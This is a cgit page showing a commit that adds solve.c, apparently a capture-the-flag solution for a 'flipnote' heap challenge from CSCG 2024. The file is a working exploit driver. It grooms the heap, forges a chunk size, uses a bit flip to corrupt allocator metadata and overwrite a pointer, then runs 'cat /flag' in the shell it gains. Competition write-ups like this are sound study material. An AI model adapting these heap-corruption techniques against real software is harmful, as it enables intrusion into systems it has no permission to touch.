summaryrefslogtreecommitdiffstats
path: root/solve/solve.c
diff options
context:
space:
mode:
authorLouis Burda <quent.burda@gmail.com>2024-04-28 16:43:43 +0200
committerLouis Burda <quent.burda@gmail.com>2024-04-28 16:43:43 +0200
commit6e891da3bf95b2d68d605cbd07afbd32557c6420 (patch)
treef9e3a00e3791f622ffd94792bb9dca0e0325044f /solve/solve.c
parent56ae4f33c8a4b9baf54e309528fc80f68f90350f (diff)
downloadcscg2024-flipnote-master.tar.gz
cscg2024-flipnote-master.zip
Add solution - bf fuck itHEADmaster
Diffstat (limited to 'solve/solve.c')
-rw-r--r--solve/solve.c206
1 files changed, 206 insertions, 0 deletions
diff --git a/solve/solve.c b/solve/solve.c
new file mode 100644
index 0000000..02b7984
--- /dev/null
+++ b/solve/solve.c
@@ -0,0 +1,206 @@
+#include <stdio.h>
+#include <signal.h>
+#include <assert.h>
+#include <stdint.h>
+#include <fcntl.h>
+#include <unistd.h>
+#include <pty.h>
+#include <string.h>
+#include <stdlib.h>
+
+char *
+readuntil(FILE *io, const char *needle)
+{
+ size_t n = 0;
+ char *line = NULL;
+ ssize_t size;
+ while ((size = getdelim(&line, &n, '\n', io)) > 0) {
+ if (needle && strstr(line, needle))
+ return line;
+ }
+ abort();
+}
+
+char *
+readuntilc(FILE *io, char c)
+{
+ char *line = NULL;
+ size_t size = 0;
+ if (getdelim(&line, &size, c, io) <= 0)
+ abort();
+ return line;
+}
+
+void
+writeline(FILE *io, const char *line)
+{
+ size_t size;
+ for (size = 0; line[size] != '\n'; size++);
+ fwrite(line, 1, size + 1, io);
+}
+
+unsigned
+do_allocv(FILE *ior, FILE *iow, const char *buf)
+{
+ writeline(iow, "a\n");
+ free(readuntilc(ior, ':'));
+ writeline(iow, buf);
+ free(readuntilc(ior, ':'));
+ char *line = readuntilc(ior, '\n');
+ char *tok = strrchr(line, ' ');
+ unsigned v = strtoul(tok, NULL, 0);
+ free(line);
+ return v;
+}
+
+int
+do_alloc(FILE *ior, FILE *iow, size_t size)
+{
+ char *buf = malloc(size + 1);
+ for (size_t i = 0; i < size; i++)
+ buf[i] = 'A';
+ buf[size] = '\n';
+ int res = do_allocv(ior, iow, buf);
+ free(buf);
+ return res;
+}
+
+void
+do_free(FILE *ior, FILE *iow, unsigned index)
+{
+ char buf[256];
+ writeline(iow, "r\n");
+ free(readuntilc(ior, ':'));
+ snprintf(buf, 256, "%u\n", index);
+ writeline(iow, buf);
+}
+
+void
+do_flip(FILE *ior, FILE *iow, unsigned index, unsigned offset)
+{
+ char buf[256];
+ writeline(iow, "f\n");
+ free(readuntilc(ior, ':'));
+ snprintf(buf, 256, "%u\n", index);
+ writeline(iow, buf);
+ free(readuntilc(ior, ':'));
+ snprintf(buf, 256, "%u\n", offset);
+ writeline(iow, buf);
+}
+
+void
+spawn(const char *path, FILE **in, FILE **out)
+{
+ int inp[2];
+ int outp[2];
+ if (pipe(inp)) abort();
+ if (pipe(outp)) abort();
+
+ pid_t pid = fork();
+ if (pid < 0) abort();
+ if (!pid) {
+ dup2(inp[1], 1);
+ close(inp[0]);
+ dup2(outp[0], 0);
+ close(outp[1]);
+ system(path);
+ abort();
+ }
+
+ *in = fdopen(inp[0], "r");
+ setbuf(*in, NULL);
+ *out = fdopen(outp[1], "w");
+ setbuf(*out, NULL);
+}
+
+int
+main(int argc, const char **argv)
+{
+ char *iobuf;
+ size_t iosize;
+
+ FILE *ior = NULL, *iow = NULL;
+ spawn(argv[1], &ior, &iow);
+ if (!ior || !iow) abort();
+
+ setvbuf(ior, NULL, 0, _IONBF);
+ signal(SIGCHLD, exit);
+ signal(SIGPIPE, exit);
+
+ free(readuntil(ior, "╰────────────────────────────────────────────────────╯"));
+
+ unsigned b = do_alloc(ior, iow, 0x76);
+ unsigned c = do_alloc(ior, iow, 0x76);
+ unsigned d = do_alloc(ior, iow, 0x76);
+
+ unsigned _a = do_alloc(ior, iow, 0x1dfffe);
+ unsigned _b = do_alloc(ior, iow, 0x1dfffe);
+ unsigned _c = do_alloc(ior, iow, 0xefffe);
+ unsigned _d = do_alloc(ior, iow, 0x77ffe);
+ unsigned _e = do_alloc(ior, iow, 0x3bffe);
+ unsigned _f = do_alloc(ior, iow, 0x3bffe);
+
+ unsigned a = do_alloc(ior, iow, 0x3bffe);
+ do_free(ior, iow, a);
+
+ do_free(ior, iow, b);
+
+ char *line = malloc(0xefffe + 1);
+ memset(line, 'A', 0xefffe);
+ line[0xefffe] = '\n';
+ *(uint64_t *)(line + 0xf1000 - 0x3d000 - 8) = 0x80 ^ 0b001;
+ assert(b == do_allocv(ior, iow, line));
+ free(line);
+
+ do_free(ior, iow, a);
+
+ do_free(ior, iow, c);
+
+ do_flip(ior, iow, c, 23);
+
+ do_alloc(ior, iow, 0x76);
+
+ char buf[256];
+
+ for (size_t i = 0; i < 0x40; i++)
+ buf[i] = 'A';
+ buf[0x40] = '\n';
+ writeline(iow, buf);
+ readuntilc(ior, ':');
+ for (size_t i = 0; i < 0x19; i++)
+ buf[i] = 'X';
+ buf[0x19] = '\n';
+ writeline(iow, buf);
+ line = readuntilc(ior, '\n');
+ char *tok = strrchr(line, ' ');
+ a = strtoul(tok, NULL, 0);
+ free(line);
+
+ for (size_t i = 0; i < 0x3e; i++)
+ buf[i] = 'E';
+ buf[0x3e] = '\n';
+ writeline(iow, buf);
+ readuntilc(ior, ':');
+ snprintf(buf, 256, "%i%*s", a, 100, "");
+ buf[0x3c] = '\n';
+ writeline(iow, buf);
+ readuntilc(ior, ':');
+ for (size_t i = 0; i < 0x18; i++)
+ buf[i] = 'X';
+ buf[0x18] = 0x70;
+ buf[0x19] = 0x5d;
+ buf[0x1a] = 0x9f;
+ buf[0x1b] = '\n';
+ writeline(iow, buf);
+
+ readuntilc(ior, '>');
+ writeline(iow, "cat /flag \n");
+ readuntilc(ior, '>');
+
+ for (size_t i = 0; i < 0x81; i++)
+ buf[i] = '!';
+ buf[0x81] = '\n';
+ writeline(iow, buf);
+
+ sleep(1);
+}